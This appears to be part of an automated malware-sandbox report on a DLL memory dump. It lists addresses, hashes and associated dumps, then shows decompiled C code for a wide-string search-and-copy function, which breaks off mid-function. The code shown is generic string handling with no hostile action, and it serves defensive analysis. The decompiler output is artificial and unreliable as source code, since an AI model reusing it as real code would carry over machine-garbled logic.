0x6f0069b2
0x6f0069b7
0x6f0069bb
0x6f0069c1
0x00000000
0x00000000
0x6f0069c7
0x6f0069cc
0x00000000
0x6f0069ce
0x6f0069d4
0x6f0069e9
0x6f0069e9
0x6f0069d6
0x6f0069d6
0x6f0069e0
0x6f0069e7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f0069e7
0x00000000
0x6f0069d6
0x6f0069d4
0x00000000
0x6f0069cc
0x6f006e0d
0x6f006e10
0x00000000
0x6f006986
0x6f006988
0x6f00698a
0x6f00698d
0x6f006997
0x6f00699a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f00699a
0x6f006df2
0x6f006df5
0x6f006dfb
0x6f006dff
0x6f006e05
0x6f006e05
0x6f006dff
0x6f006df5
0x6f0069ee
0x6f0069f3
0x6f0069f9
0x6f0069ff
0x6f006a15
0x6f006a19
0x6f006a1f
0x6f006a27
0x6f006a27
0x6f006a35
0x6f006a38
0x6f006a3c
0x6f006a42
0x6f006a44
0x6f006a47
0x6f006a4b
0x6f006a9a
0x6f006a4d
0x6f006a4f
0x6f006a51
0x6f006a54
0x6f006a58
0x6f006a5c
0x6f006a5f
0x6f006a63
0x6f006a65
0x6f006a65
0x6f006a66
0x6f006a6b
0x6f006a71
0x00000000
0x00000000
0x6f006a73
0x6f006a77
0x6f006a7c
0x00000000
0x00000000
0x00000000
0x6f006a7c
0x6f006a7e
0x6f006a81
0x6f006a81
0x6f006a58
0x6f006a85
0x6f006a87
0x6f006a88
0x6f006a8c
0x6f006a91
0x6f006a95
0x6f006a95
0x6f006aa1
0x6f006aa4
0x6f006a01
0x6f006a01
0x6f006a01
0x6f006aa6
0x6f006aaa
0x6f006ab8
0x6f006abc
0x6f006abe
0x6f006ac4
0x6f006ac4
0x6f006ac7
0x6f006ac8
0x6f006acc
0x00000000
0x00000000
0x6f006ad8
0x6f006dec
0x6f006dec
0x6f006ade
0x6f006ac2
0x6f006ac3
0x00000000
0x6f006ac3
0x00000000
0x6f006ad8
0x6f006de2
0x6f006de2
0x6f006de6
0x6f006de6
0x6f006aaa
0x6f006d8f
0x6f006d8f
0x6f006d91
0x6f006d92
0x6f006d9a
0x6f006d9c
0x6f006da0
0x6f006dac
0x6f006db0
0x6f006dbd
0x6f006941
0x6f006945
0x6f006946
0x6f006947
0x6f006948
0x6f006949
0x6f00694a
0x6f00694a
0x6f00693f
0x6f0068fb
0x6f0063e9
0x6f00637c
0x6f006458
0x6f00645d
0x6f006463
0x6f006468
0x6f00647d
0x6f006480
0x6f006484
0x6f00648a
0x6f006492
0x6f006492
0x6f00649f
0x6f0064a2
0x6f0064a6
0x6f0064a7
0x6f0064ac
0x6f0064af
0x6f0064b5
0x6f006504
0x6f0064b7
0x6f0064b9
0x6f0064bb
0x6f0064be
0x6f0064c2
0x6f0064c6
0x6f0064ca
0x6f0064cc
0x6f0064cf
0x6f0064cf
0x6f0064d0
0x6f0064d5
0x6f0064db
0x00000000
0x00000000
0x6f0064dd
0x6f0064e1
0x6f0064e6
0x00000000
0x00000000
0x00000000
0x6f0064e6
0x6f0064e8
0x6f0064ec
0x6f0064ec
0x6f0064c2
0x6f0064ef
0x6f0064f1
0x6f0064f2
0x6f0064f6
0x6f0064fb
0x6f0064ff
0x6f0064ff
0x6f00650b
0x6f00650f
0x6f00646a
0x6f00646a
0x6f00646a
0x6f006513
0x6f00651f
0x6f006524
0x6f00652f
0x6f006535
0x6f006e8c
0x6f00653b
0x6f00653d
0x6f006540
0x6f006558
0x6f00655c
0x6f006568
0x6f00656e
0x6f00656e
0x6f006573
0x6f006577
0x6f00657d
0x00000000
0x00000000
0x6f006583
0x6f006588
0x00000000
0x6f00658a
0x6f006590
0x6f0065a5
0x6f0065a5
0x6f006592
0x6f006592
0x6f00659c
0x6f0065a3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f0065a3
0x00000000
0x6f006592
0x6f006590
0x00000000
0x6f006588
0x6f006e85
0x6f006e88
0x00000000
0x6f006542
0x6f006544
0x6f006546
0x6f006549
0x6f006553
0x6f006556
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f006556
0x6f006e74
0x6f006e77
0x6f006e7d
0x6f006e7d
0x6f006e77
0x6f006540
0x6f0065aa
0x6f0065b5
0x6f0065bc
0x6f0065d4
0x6f0065d8
0x6f0065de
0x6f0065e6
0x6f0065e6
0x6f0065f4
0x6f0065f7
0x6f0065fb
0x6f0065fc
0x6f006601
0x6f006604
0x6f00660a
0x6f006659
0x6f00660c
0x6f00660e
0x6f006610
0x6f006613
0x6f006617
0x6f00661b
0x6f00661f
0x6f006621
0x6f006624
0x6f006624
0x6f006625
0x6f00662a
0x6f006630
0x00000000
0x00000000
0x6f006632
0x6f006636
0x6f00663b
0x00000000
0x00000000
0x00000000
0x6f00663b
0x6f00663d
0x6f006641
0x6f006641
0x6f006617
0x6f006644
0x6f006646
0x6f006647
0x6f00664b
0x6f006650
0x6f006654
0x6f006654
0x6f006660
0x6f006664
0x6f0065be
0x6f0065be
0x6f0065be
0x6f006668
0x6f006670
0x6f006675
0x6f00667b
0x6f006e6d
0x6f006681
0x6f006683
0x6f006686
0x6f00669e
0x6f0066a2
0x6f0066ae
0x6f0066b4
0x6f0066b4
0x6f0066b9
0x6f0066bd
0x6f0066c3
0x00000000
0x00000000
0x6f0066c9
0x6f0066ce
0x00000000
0x6f0066d0
0x6f0066d6
0x6f0066eb
0x6f0066eb
0x6f0066d8
0x6f0066d8
0x6f0066e2
0x6f0066e9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f0066e9
0x00000000
0x6f0066d8
0x6f0066d6
0x00000000
0x6f0066ce
0x6f006e66
0x6f006e69
0x00000000
0x6f006688
0x6f00668a
0x6f00668c
0x6f00668f
0x6f006699
0x6f00669c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f00669c
0x6f006e55
0x6f006e58
0x6f006e5e
0x6f006e5e
0x6f006e58
0x6f006686
0x6f0066f0
0x6f0066f0
0x6f0066fb
0x6f006702
0x6f006712
0x6f006715
0x6f006719
0x6f00671f
0x6f006727
0x6f006727
0x6f006734
0x6f006737
0x6f00673b
0x6f00673c
0x6f006741
0x6f006744
0x6f00674a
0x6f00679d
0x6f00674c
0x6f00674e
0x6f006750
0x6f006753
0x6f006757
0x6f00675b
0x6f00675f
0x6f006761
0x6f006764
0x6f006764
0x6f006765
0x6f00676a
0x6f006770
0x00000000
0x00000000
0x6f006772
0x6f006776
0x6f00677b
0x00000000
0x00000000
0x00000000
0x6f00677b
0x6f00677d
0x6f006781
0x6f006784
0x6f006784
0x6f006757
0x6f006788
0x6f00678a
0x6f00678b
0x6f00678f
0x6f006794
0x6f006798
0x6f006798
0x6f0067a4
0x6f0067a8
0x6f0067a8
0x6f0067ac
0x6f0067b0
0x6f006526
0x6f006526
0x6f006526
0x6f0067b7
0x6f006e4e
0x6f0067bd
0x6f0067bf
0x6f0067c2
0x6f0067da
0x6f0067de
0x6f0067ea
0x6f0067f0
0x6f0067f0
0x6f0067f5
0x6f0067f9
0x6f0067ff
0x00000000
0x00000000
0x6f006805
0x6f00680a
0x00000000
0x6f00680c
0x6f006812
0x6f006827
0x6f006827
0x6f006814
0x6f006814
0x6f00681e
0x6f006825
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f006825
0x00000000
0x6f006814
0x6f006812
0x00000000
0x6f00680a
0x6f006e47
0x6f006e4a
0x00000000
0x6f0067c4
0x6f0067c6
0x6f0067c8
0x6f0067cb
0x6f0067d5
0x6f0067d8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f0067d8
0x6f006e36
0x6f006e39
0x6f006e3f
0x6f006e3f
0x6f006e39
0x6f0067c2
0x6f00682c
0x6f006837
0x6f00683e
0x6f006856
0x6f00685a
0x6f006860
0x6f006868
0x6f006868
0x6f006876
0x6f006879
0x6f00687d
0x6f00687e
0x6f006883
0x6f006886
0x6f00688c
0x6f0068db
0x6f00688e
0x6f006890
0x6f006892
0x6f006895
0x6f006899
0x6f00689d
0x6f0068a1
0x6f0068a3
0x6f0068a6
0x6f0068a6
0x6f0068a7
0x6f0068ac
0x6f0068b2
0x00000000
0x00000000
0x6f0068b4
0x6f0068b8
0x6f0068bd
0x00000000
0x00000000
0x00000000
0x6f0068bd
0x6f0068bf
0x6f0068c3
0x6f0068c3
0x6f006899
0x6f0068c6
0x6f0068c8
0x6f0068c9
0x6f0068cd
0x6f0068d2
0x6f0068d6
0x6f0068d6
0x6f0068e2
0x6f0068e6
0x6f006840
0x6f006840
0x6f006840
0x00000000

Strings

@, xrefs: 6F006DCB

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: ca296c8c1b784dec66269739aff920a48213b076e99651e2a44e7fe70c450e0f
Instruction ID: 50d1b379297cf811e8682339fba13668f1a13765e8e5604d81b3c82002ffe13d
Opcode Fuzzy Hash: ca296c8c1b784dec66269739aff920a48213b076e99651e2a44e7fe70c450e0f
Instruction Fuzzy Hash: 69723E709087928BF715DE38C49076A7AE36FC7314F18C76ED8A54B3A6DA35D881C782

Uniqueness

Uniqueness Score: -1.00%

Function 6EFFC590, Relevance: 2.1, Strings: 1, Instructions: 878
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6EFFC590(signed int* __ecx, void* __eflags, signed int* _a4, signed int _a8) {
				signed int _v24;
				unsigned int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed short* _t304;
				unsigned int _t312;
				signed int _t313;
				signed short** _t319;
				signed short* _t323;
				signed int* _t325;
				signed int _t330;
				signed int _t334;
				signed int _t338;
				unsigned int _t340;
				unsigned int _t341;
				signed int _t343;
				unsigned int _t344;
				signed int _t345;
				signed int _t349;
				signed int _t350;
				signed int _t352;
				signed int _t357;
				signed int _t360;
				unsigned int _t366;
				signed int _t367;
				void* _t373;
				signed int _t376;
				signed int _t377;
				unsigned int _t383;
				unsigned int _t384;
				signed int _t386;
				signed int _t387;
				signed int _t395;
				signed int _t396;
				signed int _t398;
				signed int* _t405;
				signed int _t406;
				signed int _t412;
				signed int _t418;
				signed int _t421;
				signed int _t426;
				signed int _t432;
				signed int _t434;
				signed int _t441;
				signed int _t443;
				signed int _t449;
				signed int _t452;
				signed int _t457;
				signed int _t459;
				signed int _t463;
				signed int _t464;
				signed int _t465;
				signed int _t466;
				signed int _t469;
				signed int _t476;
				signed int _t479;
				signed int _t480;
				signed int _t483;
				signed int _t484;
				signed int _t485;
				signed int _t488;
				signed int _t489;
				signed int _t490;
				signed int _t491;
				signed int _t492;
				void* _t493;
				signed int _t494;
				signed int _t495;
				signed int _t498;
				intOrPtr* _t500;
				signed int _t501;
				signed int _t502;
				intOrPtr* _t503;
				signed int _t504;
				signed int _t505;
				signed int _t508;
				signed int _t510;
				signed int _t513;
				signed int _t518;
				void* _t519;
				signed int _t520;
				signed int _t521;
				signed int _t522;
				void* _t523;
				signed int _t524;
				signed int _t525;
				signed int _t528;
				signed int* _t529;
				signed int _t530;
				signed int _t534;
				signed int _t537;
				signed int _t544;
				signed int _t546;
				signed int _t551;
				signed int _t552;
				signed int _t554;
				signed int _t555;
				signed int _t556;
				signed int _t559;
				signed int _t563;
				signed int _t564;
				signed int _t565;
				signed int _t566;
				signed int _t570;
				signed int _t571;
				signed int _t574;
				signed int _t581;
				signed short* _t582;
				signed int _t586;
				signed int _t587;
				signed int _t588;
				signed int _t590;
				signed int _t591;
				signed int _t592;
				signed int _t593;
				intOrPtr* _t594;
				signed int _t595;
				signed short* _t596;
				signed int _t598;
				signed int _t599;
				signed int _t601;
				signed int _t602;
				signed int _t603;
				signed int _t609;
				signed int _t611;
				signed int* _t614;

				_v64 = 0;
				_t405 = __ecx;
				_v60 = 0;
				_push(0x80);
				_t551 = E6EFF1030();
				_t614 = (_t611 & 0xfffffff0) - 0x34 + 4;
				_t304 = _v64;
				if(_t304 == 0) {
					__eflags = 0;
					 *_t551 = 0;
					L8:
					_v60 = 0x40;
					_v64 = _t551;
					if((_a8 & 0x0000ffff) != 0) {
						__eflags = _t551;
						if(_t551 == 0) {
							_t459 = 0x40;
							_t581 = 0;
							L23:
							_t24 = _t581 + 2; // -2147483652
							_t493 = _t24;
							__eflags = _t493 - 0x40;
							_t494 =  <=  ? 0x40 : _t493;
							__eflags = _t459 - _t494;
							if(_t459 < _t494) {
								_t312 = (_t494 >> 5 >> 0x1a) + _t494 >> 6;
								_t495 = _t494 & 0x8000003f;
								__eflags = _t495;
								if(_t495 < 0) {
									_t495 = (_t495 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t495;
								}
								__eflags = _t495;
								_t313 = _t312 + (0 | _t495 > 0x00000000);
								 *_t614 = _t313 << 6;
								_push(_t313 << 7);
								_t552 = E6EFF1030();
								_t614 =  &(_t614[1]);
								_t498 = _v64;
								__eflags = _t498;
								if(_t498 == 0) {
									__eflags = 0;
									 *_t552 = 0;
									goto L35;
								} else {
									__eflags = _t552;
									if(_t552 == 0) {
										L33:
										_push(2);
										_push(_t498);
										E6EFF10B0();
										_t614 =  &(_t614[2]);
										L35:
										_v60 =  *_t614;
										_v64 = _t552;
										L36:
										__eflags = 0;
										 *((short*)(_t552 + _t581 * 2)) = _a8 & 0x0000ffff;
										_t319 =  &_v64;
										 *((short*)( *_t319 + 2 + _t581 * 2)) = 0;
										L37:
										_t582 =  *_t319;
										if(_t582 == 0) {
											L39:
											_t500 = _a4;
											_push(0x80);
											 *_t500 = 0;
											 *((intOrPtr*)(_t500 + 4)) = 0;
											_t406 = E6EFF1030();
											_t614 =  &(_t614[1]);
											_t323 =  *_a4;
											if(_t323 == 0) {
												 *_t406 = 0;
												L60:
												_t325 = _a4;
												 *_t325 = _t406;
												_t325[1] = 0x40;
												L61:
												_push(2);
												_push(_v64);
												E6EFF10B0();
												_v64 = 0;
												_v60 = 0;
												return _a4;
											}
											if(_t406 == 0) {
												L45:
												_push(2);
												_push(_t323);
												E6EFF10B0();
												_t614 =  &(_t614[2]);
												goto L60;
											}
											_t501 =  *_t323 & 0x0000ffff;
											 *_t406 = _t501;
											if(_t501 == 0) {
												goto L45;
											}
											_t502 = 0;
											while(1) {
												_t502 = _t502 + 1;
												_t463 =  *(_t323 + _t502 * 4 - 2) & 0x0000ffff;
												 *(_t406 + _t502 * 4 - 2) = _t463;
												if(_t463 == 0) {
													goto L45;
												}
												_t464 =  *(_t323 + _t502 * 4) & 0x0000ffff;
												 *(_t406 + _t502 * 4) = _t464;
												if(_t464 != 0) {
													continue;
												}
												goto L45;
											}
											goto L45;
										}
										_t330 =  *_t582 & 0x0000ffff;
										if(_t330 != 0) {
											_t554 =  *_t405;
											__eflags = _t554;
											if(_t554 == 0) {
												L52:
												_t503 = _a4;
												_push(0x80);
												 *_t503 = 0;
												 *((intOrPtr*)(_t503 + 4)) = 0;
												_t406 = E6EFF1030();
												_t614 =  &(_t614[1]);
												_t334 =  *_a4;
												__eflags = _t334;
												if(_t334 == 0) {
													__eflags = 0;
													 *_t406 = 0;
													goto L60;
												}
												__eflags = _t406;
												if(_t406 == 0) {
													L58:
													_push(2);
													_push(_t334);
													E6EFF10B0();
													_t614 =  &(_t614[2]);
													goto L60;
												}
												_t504 =  *_t334 & 0x0000ffff;
												 *_t406 = _t504;
												__eflags = _t504;
												if(_t504 == 0) {
													goto L58;
												}
												_t505 = 0;
												__eflags = 0;
												while(1) {
													_t505 = _t505 + 1;
													_t465 =  *(_t334 + _t505 * 4 - 2) & 0x0000ffff;
													 *(_t406 + _t505 * 4 - 2) = _t465;
													__eflags = _t465;
													if(_t465 == 0) {
														goto L58;
													}
													_t466 =  *(_t334 + _t505 * 4) & 0x0000ffff;
													 *(_t406 + _t505 * 4) = _t466;
													__eflags = _t466;
													if(_t466 != 0) {
														continue;
													}
													goto L58;
												}
												goto L58;
											}
											__eflags =  *_t554 & 0x0000ffff;
											if(( *_t554 & 0x0000ffff) == 0) {
												goto L52;
											}
											_v24 = _t582;
											__eflags = _t330 - 0x41 - 0x19;
											_t337 =  <=  ? _t330 + 0x20 : _t330;
											_t508 = 0;
											__eflags = 0;
											_t338 = ( <=  ? _t330 + 0x20 : _t330) & 0x0000ffff;
											_v44 = _t338;
											while(1) {
												_t584 =  *(_t554 + _t508 * 2) & 0x0000ffff;
												_t67 = _t584 - 0x41; // 0x7fffffbe
												__eflags = _t67 - 0x19;
												_t68 = _t584 + 0x20; // 0x8000001f
												_t585 =  <=  ? _t68 :  *(_t554 + _t508 * 2) & 0x0000ffff;
												__eflags = ( <=  ? _t68 :  *(_t554 + _t508 * 2) & 0x0000ffff) - _t338;
												if(( <=  ? _t68 :  *(_t554 + _t508 * 2) & 0x0000ffff) == _t338) {
													break;
												}
												_t508 = _t508 + 1;
												__eflags =  *(_t554 + _t508 * 2) & 0x0000ffff;
												if(( *(_t554 + _t508 * 2) & 0x0000ffff) != 0) {
													continue;
												}
												goto L52;
											}
											_t586 = _v24;
											_t469 = _t554 + _t508 * 2;
											__eflags = _t469;
											if(_t469 == 0) {
												goto L52;
											}
											_t510 = _t586 & 0x0000000f;
											asm("pxor xmm0, xmm0");
											_t340 = _t510 & 0x00000001;
											_t412 =  ~_t510 + 0x10 >> 1;
											_v52 = _t412;
											_v36 = _t554;
											_v24 = _t586;
											_t555 = _t412;
											while(1) {
												L68:
												_t587 = _t510;
												__eflags = _t510;
												if(_t510 == 0) {
													goto L74;
												}
												_t421 = 0;
												__eflags = _t340;
												if(_t340 != 0) {
													L78:
													_v28 = _t340;
													_t603 = _v24;
													while(1) {
														__eflags =  *(_t603 + _t421 * 2) & 0x0000ffff;
														if(( *(_t603 + _t421 * 2) & 0x0000ffff) == 0) {
															break;
														}
														_t421 = _t421 + 1;
														__eflags = _t421 - 0x7fffffff;
														if(_t421 < 0x7fffffff) {
															continue;
														}
														_v24 = _t603;
														_t341 = _v28;
														L82:
														_t421 = 0x7fffffff;
														L83:
														 *_t614 = _t421;
														_t588 = 0;
														__eflags = 0;
														_v32 = _t510;
														_v28 = _t341;
														while(1) {
															_t422 =  *(_t469 + _t588 * 2) & 0x0000ffff;
															_t124 = _t422 - 0x61; // 0x7fffff9e
															_t559 =  *(_v24 + _t588 * 2) & 0x0000ffff;
															__eflags = _t124 - 0x19;
															_t127 = _t422 - 0x20; // 0x7fffffdf
															_t423 =  <=  ? _t127 :  *(_t469 + _t588 * 2) & 0x0000ffff;
															_t343 = ( <=  ? _t127 :  *(_t469 + _t588 * 2) & 0x0000ffff) & 0x0000ffff;
															__eflags = _t559 - 0x61 - 0x19;
															_t560 =  <=  ? _t559 - 0x20 : _t559;
															__eflags = _t343 - ( <=  ? _t559 - 0x20 : _t559);
															if(__eflags < 0 || __eflags > 0) {
																break;
															}
															__eflags = _t343;
															if(_t343 == 0) {
																L88:
																_t510 = _v32;
																_t341 = _v28;
																_t563 = _v36;
																_t591 = _v24;
																L89:
																__eflags = _t469;
																if(_t469 == 0) {
																	goto L52;
																}
																_v28 = _t341;
																_v36 = _t563;
																_v24 = _t591;
																_t592 = 0;
																__eflags = 0;
																while(1) {
																	L91:
																	_t564 = _t469;
																	_t349 = _t469 + 2;
																	__eflags = _t349;
																	if(_t349 == 0) {
																		break;
																	}
																	__eflags =  *(_t469 + 2) & 0x0000ffff;
																	if(( *(_t469 + 2) & 0x0000ffff) == 0) {
																		break;
																	}
																	 *_t614 = _t564;
																	_t443 = _t592;
																	_v32 = _t510;
																	while(1) {
																		_t443 = _t443 + 1;
																		_t596 = _t469 + _t443 * 2;
																		_t537 =  *_t596 & 0x0000ffff;
																		__eflags = ( *(_t349 + _t443 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
																		_v48 = _t596;
																		_t538 =  <=  ? _t537 + 0x20 : _t537;
																		__eflags = ( <=  ? _t537 + 0x20 : _t537) - _v44;
																		if(( <=  ? _t537 + 0x20 : _t537) == _v44) {
																			break;
																		}
																		__eflags =  *(_t349 + _t443 * 2) & 0x0000ffff;
																		if(( *(_t349 + _t443 * 2) & 0x0000ffff) != 0) {
																			continue;
																		}
																		L96:
																		_t510 = _v32;
																		_t350 = _v28;
																		_t565 = _v36;
																		_t593 = _v24;
																		L97:
																		__eflags = _t510;
																		if(_t510 == 0) {
																			L102:
																			_t476 =  ~( ~_t510 + 0x00000007 & 0x00000007) + 0x7fffffff;
																			__eflags = _t476;
																			while(1) {
																				asm("movdqu xmm1, [esi+edx*2]");
																				asm("pcmpeqw xmm1, xmm0");
																				asm("pmovmskb eax, xmm1");
																				__eflags = _t350;
																				if(_t350 != 0) {
																					break;
																				}
																				_t510 = _t510 + 8;
																				__eflags = _t510 - _t476;
																				if(_t510 < _t476) {
																					continue;
																				}
																				__eflags = _t476 - 0x7fffffff;
																				if(_t476 >= 0x7fffffff) {
																					L108:
																					_t476 = 0x7fffffff;
																					L109:
																					_t352 = _t565 & 0x0000000f;
																					__eflags = _t352;
																					if(_t352 == 0) {
																						L114:
																						_t432 =  ~( ~_t352 + 0x00000007 & 0x00000007) + 0x7fffffff;
																						__eflags = _t432;
																						while(1) {
																							asm("movdqu xmm1, [edi+eax*2]");
																							asm("pcmpeqw xmm1, xmm0");
																							asm("pmovmskb edx, xmm1");
																							__eflags = _t510;
																							if(_t510 != 0) {
																								break;
																							}
																							_t352 = _t352 + 8;
																							__eflags = _t352 - _t432;
																							if(_t352 < _t432) {
																								continue;
																							}
																							__eflags = _t432 - 0x7fffffff;
																							if(_t432 >= 0x7fffffff) {
																								L120:
																								_t432 = 0x7fffffff;
																								L121:
																								_t594 = _a4;
																								_t518 =  *_t614 - _t565 + _t476 * 2 >> 1;
																								__eflags = _t518;
																								 *_t594 = 0;
																								_t519 =  <=  ? 0 : _t518;
																								__eflags = _t432 - _t519;
																								 *((intOrPtr*)(_t594 + 4)) = 0;
																								_t520 =  <  ? _t432 : _t519;
																								_t434 = _t432 - _t520;
																								_t566 = _t565 + _t520 * 2;
																								__eflags = _t566;
																								if(_t566 == 0) {
																									L156:
																									_push(0x80);
																									_t406 = E6EFF1030();
																									_t614 =  &(_t614[1]);
																									_t357 =  *_a4;
																									__eflags = _t357;
																									if(_t357 == 0) {
																										 *_t406 = 0;
																										goto L60;
																									}
																									__eflags = _t406;
																									if(_t406 == 0) {
																										L162:
																										_push(2);
																										_push(_t357);
																										E6EFF10B0();
																										_t614 =  &(_t614[2]);
																										goto L60;
																									}
																									_t521 =  *_t357 & 0x0000ffff;
																									 *_t406 = _t521;
																									__eflags = _t521;
																									if(_t521 == 0) {
																										goto L162;
																									}
																									_t522 = 0;
																									__eflags = 0;
																									while(1) {
																										_t522 = _t522 + 1;
																										_t479 =  *(_t357 + _t522 * 4 - 2) & 0x0000ffff;
																										 *(_t406 + _t522 * 4 - 2) = _t479;
																										__eflags = _t479;
																										if(_t479 == 0) {
																											goto L162;
																										}
																										_t480 =  *(_t357 + _t522 * 4) & 0x0000ffff;
																										 *(_t406 + _t522 * 4) = _t480;
																										__eflags = _t480;
																										if(_t480 != 0) {
																											continue;
																										}
																										goto L162;
																									}
																									goto L162;
																								}
																								_t360 =  *_t566 & 0x0000ffff;
																								__eflags = _t360;
																								if(_t360 == 0) {
																									goto L156;
																								}
																								__eflags = _t434;
																								if(_t434 != 0) {
																									L136:
																									_t176 = _t434 + 1; // 0x80000000
																									_t523 = _t176;
																									__eflags = _t523 - 0x40;
																									_t524 =  <=  ? 0x40 : _t523;
																									__eflags = _t524;
																									if(_t524 > 0) {
																										_t366 = (_t524 >> 5 >> 0x1a) + _t524 >> 6;
																										_t525 = _t524 & 0x8000003f;
																										__eflags = _t525;
																										if(_t525 < 0) {
																											_t525 = (_t525 - 0x00000001 | 0xffffffc0) + 1;
																											__eflags = _t525;
																										}
																										__eflags = _t525;
																										_t367 = _t366 + (0 | _t525 > 0x00000000);
																										 *_t614 = _t367 << 6;
																										_push(_t367 << 7);
																										_t595 = E6EFF1030();
																										_t614 =  &(_t614[1]);
																										_t528 =  *_a4;
																										__eflags = _t528;
																										if(_t528 == 0) {
																											__eflags = 0;
																											 *_t595 = 0;
																											goto L148;
																										} else {
																											__eflags = _t595;
																											if(_t595 == 0) {
																												L146:
																												_push(2);
																												_push(_t528);
																												E6EFF10B0();
																												_t614 =  &(_t614[2]);
																												L148:
																												_t529 = _a4;
																												_t529[1] =  *_t614;
																												 *_t529 = _t595;
																												L149:
																												__eflags = _t595;
																												if(_t595 == 0) {
																													goto L61;
																												}
																												_t373 = 0;
																												while(1) {
																													_t530 =  *_t566 & 0x0000ffff;
																													_t373 = _t373 + 1;
																													 *_t595 = _t530;
																													__eflags = _t434;
																													if(_t434 == 0) {
																														goto L154;
																													}
																													__eflags = _t373 - _t434;
																													if(_t373 == _t434) {
																														 *(_t595 + 2) = 0;
																														goto L61;
																													}
																													L154:
																													__eflags = _t530;
																													if(_t530 == 0) {
																														goto L61;
																													}
																													_t595 = _t595 + 2;
																													_t566 = _t566 + 2;
																													__eflags = _t566;
																												}
																											}
																											_t376 =  *_t528 & 0x0000ffff;
																											 *_t595 = _t376;
																											__eflags = _t376;
																											if(_t376 == 0) {
																												goto L146;
																											}
																											_t377 = 0;
																											__eflags = 0;
																											while(1) {
																												_t377 = _t377 + 1;
																												_t483 =  *(_t528 + _t377 * 4 - 2) & 0x0000ffff;
																												 *(_t595 + _t377 * 4 - 2) = _t483;
																												__eflags = _t483;
																												if(_t483 == 0) {
																													goto L146;
																												}
																												_t484 =  *(_t528 + _t377 * 4) & 0x0000ffff;
																												 *(_t595 + _t377 * 4) = _t484;
																												__eflags = _t484;
																												if(_t484 != 0) {
																													continue;
																												}
																												goto L146;
																											}
																											goto L146;
																										}
																									}
																									_t595 = 0;
																									goto L149;
																								}
																								_t534 = _t566 & 0x0000000f;
																								__eflags = _t534;
																								if(_t534 == 0) {
																									L129:
																									_t434 =  ~( ~_t534 + 0x00000007 & 0x00000007) + 0x7fffffff;
																									__eflags = _t434;
																									while(1) {
																										asm("movdqu xmm1, [edi+edx*2]");
																										asm("pcmpeqw xmm1, xmm0");
																										asm("pmovmskb eax, xmm1");
																										__eflags = _t360;
																										if(_t360 != 0) {
																											break;
																										}
																										_t534 = _t534 + 8;
																										__eflags = _t534 - _t434;
																										if(_t534 < _t434) {
																											continue;
																										}
																										__eflags = _t434 - 0x7fffffff;
																										if(_t434 >= 0x7fffffff) {
																											L135:
																											_t434 = 0x7fffffff;
																											goto L136;
																										} else {
																											goto L133;
																										}
																										while(1) {
																											L133:
																											__eflags =  *(_t566 + _t434 * 2) & 0x0000ffff;
																											if(( *(_t566 + _t434 * 2) & 0x0000ffff) == 0) {
																												goto L136;
																											}
																											_t434 = _t434 + 1;
																											__eflags = _t434 - 0x7fffffff;
																											if(_t434 < 0x7fffffff) {
																												continue;
																											}
																											goto L135;
																										}
																										goto L136;
																									}
																									asm("bsf ebx, eax");
																									_t434 = (_t434 >> 1) + _t534;
																									goto L136;
																								}
																								_t434 = 0;
																								__eflags = _t534 & 0x00000001;
																								if((_t534 & 0x00000001) != 0) {
																									goto L133;
																								}
																								_t534 =  ~_t534 + 0x10 >> 1;
																								__eflags = _t534;
																								while(1) {
																									_t360 =  *(_t566 + _t434 * 2) & 0x0000ffff;
																									__eflags = _t360;
																									if(_t360 == 0) {
																										goto L136;
																									}
																									_t434 = _t434 + 1;
																									__eflags = _t434 - _t534;
																									if(_t434 < _t534) {
																										continue;
																									}
																									goto L129;
																								}
																								goto L136;
																							} else {
																								goto L118;
																							}
																							while(1) {
																								L118:
																								__eflags =  *(_t565 + _t432 * 2) & 0x0000ffff;
																								if(( *(_t565 + _t432 * 2) & 0x0000ffff) == 0) {
																									goto L121;
																								}
																								_t432 = _t432 + 1;
																								__eflags = _t432 - 0x7fffffff;
																								if(_t432 < 0x7fffffff) {
																									continue;
																								}
																								goto L120;
																							}
																							goto L121;
																						}
																						asm("bsf ebx, edx");
																						_t432 = (_t432 >> 1) + _t352;
																						goto L121;
																					}
																					_t432 = 0;
																					__eflags = _t352 & 0x00000001;
																					if((_t352 & 0x00000001) != 0) {
																						goto L118;
																					}
																					_t352 =  ~_t352 + 0x10 >> 1;
																					__eflags = _t352;
																					while(1) {
																						_t510 =  *(_t565 + _t432 * 2) & 0x0000ffff;
																						__eflags = _t510;
																						if(_t510 == 0) {
																							goto L121;
																						}
																						_t432 = _t432 + 1;
																						__eflags = _t432 - _t352;
																						if(_t432 < _t352) {
																							continue;
																						}
																						goto L114;
																					}
																					goto L121;
																				} else {
																					goto L106;
																				}
																				while(1) {
																					L106:
																					__eflags =  *(_t593 + _t476 * 2) & 0x0000ffff;
																					if(( *(_t593 + _t476 * 2) & 0x0000ffff) == 0) {
																						goto L109;
																					}
																					_t476 = _t476 + 1;
																					__eflags = _t476 - 0x7fffffff;
																					if(_t476 < 0x7fffffff) {
																						continue;
																					}
																					goto L108;
																				}
																				goto L109;
																			}
																			asm("bsf ecx, eax");
																			_t476 = (_t476 >> 1) + _t510;
																			goto L109;
																		}
																		_t476 = 0;
																		__eflags = _t350;
																		if(_t350 != 0) {
																			goto L106;
																		}
																		_t510 = _v52;
																		_t441 = _t510;
																		while(1) {
